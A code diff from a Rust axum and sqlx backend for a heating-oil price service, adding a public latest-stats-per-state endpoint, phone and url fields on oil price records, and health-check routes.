.route("/listing/:listing_id", axum::routing::get(get_listing_by_id)) .route("/listing/:listing_id", axum::routing::get(get_listing_by_id))
.route("/listing/:listing_id", axum::routing::put(update_listing)) .route("/listing/:listing_id", axum::routing::put(update_listing))
.route("/listing/:listing_id", axum::routing::delete(delete_listing)) .route("/listing/:listing_id", axum::routing::delete(delete_listing))
.merge(crate::admin::admin_routes())
.route_layer(middleware::from_fn_with_state(state.clone(), auth_middleware)); .route_layer(middleware::from_fn_with_state(state.clone(), auth_middleware));
let public_routes = Router::new() let public_routes = Router::new()
.route("/", axum::routing::get(health_check))
.route("/health", axum::routing::get(health_check))
.route("/auth/register", axum::routing::post(register)) .route("/auth/register", axum::routing::post(register))
.route("/auth/login", axum::routing::post(login)) .route("/auth/login", axum::routing::post(login))
.route("/auth/logout", axum::routing::post(logout)) .route("/auth/logout", axum::routing::post(logout))
@@ -85,7 +94,8 @@ async fn main() {
.route("/state/:state_abbr", axum::routing::get(get_counties_by_state)) .route("/state/:state_abbr", axum::routing::get(get_counties_by_state))
.route("/state/:state_abbr/:county_id", axum::routing::get(get_county_by_id)) .route("/state/:state_abbr/:county_id", axum::routing::get(get_county_by_id))
.route("/listings/county/:county_id", axum::routing::get(get_listings_by_county)) .route("/listings/county/:county_id", axum::routing::get(get_listings_by_county))
.route("/oil-prices/county/:county_id", axum::routing::get(get_oil_prices_by_county)); .route("/oil-prices/county/:county_id", axum::routing::get(get_oil_prices_by_county))
.route("/stats", axum::routing::get(crate::stats::data::get_latest_stats));
let app = public_routes let app = public_routes
.merge(protected_routes) .merge(protected_routes)

View File

@@ -13,7 +13,7 @@ pub async fn get_oil_prices_by_county(
) -> Result<Json<Vec<OilPrice>>, (StatusCode, Json<serde_json::Value>)> { ) -> Result<Json<Vec<OilPrice>>, (StatusCode, Json<serde_json::Value>)> {
tracing::info!(county_id = county_id, "Fetching oil prices by county"); tracing::info!(county_id = county_id, "Fetching oil prices by county");
match sqlx::query_as::<_, OilPrice>( match sqlx::query_as::<_, OilPrice>(
"SELECT id, state, zone, name, price, date, scrapetimestamp, county_id FROM oil_prices WHERE county_id = $1 ORDER BY price ASC" "SELECT id, state, zone, name, price, date, scrapetimestamp, county_id, phone, url FROM oil_prices WHERE county_id = $1 ORDER BY price ASC"
) )
.bind(county_id) .bind(county_id)
.fetch_all(&*app_state.db) .fetch_all(&*app_state.db)

View File

@@ -12,4 +12,6 @@ pub struct OilPrice {
pub date: Option<String>, pub date: Option<String>,
pub scrapetimestamp: Option<NaiveDateTime>, pub scrapetimestamp: Option<NaiveDateTime>,
pub county_id: Option<i32>, pub county_id: Option<i32>,
pub phone: Option<String>,
pub url: Option<String>,
} }

33
src/stats/data.rs Normal file
View File

@@ -0,0 +1,33 @@
use crate::auth::structs::AppState;
use crate::stats::structs::StatsPrice;
use axum::{extract::State, Json};
pub async fn get_latest_stats(
State(state): State<AppState>,
) -> Result<Json<Vec<StatsPrice>>, String> {
let pool = &state.db;
// Query to get the latest stat for each state
// We want the most recent record for each state.
// Since we are just inserting new records, we can select distinct on state ORDER BY created_at DESC
// But distinct on is Postgres specific.
// A simpler way for the "latest" batch is to just query all records created in the last 24 hours,
// OR just use a subquery to get the max id for each state.
let query = "
SELECT DISTINCT ON (state) id, state, price, created_at
FROM stats_prices
ORDER BY state, created_at DESC
";
let stats = sqlx::query_as::<_, StatsPrice>(query)
.fetch_all(&**pool)
.await
.map_err(|e| {
tracing::error!("Failed to fetch stats: {}", e);
"Failed to fetch stats".to_string()
})?;
Ok(Json(stats))
}

2
src/stats/mod.rs Normal file
View File

@@ -0,0 +1,2 @@
pub mod data;
pub mod structs;

11
src/stats/structs.rs Normal file
View File

@@ -0,0 +1,11 @@
use serde::{Deserialize, Serialize};
use sqlx::FromRow;
use chrono::{DateTime, Utc};
#[derive(Serialize, Deserialize, FromRow, Debug)]
pub struct StatsPrice {
pub id: i32,
pub state: String,
pub price: f64,
pub created_at: Option<DateTime<Utc>>,
}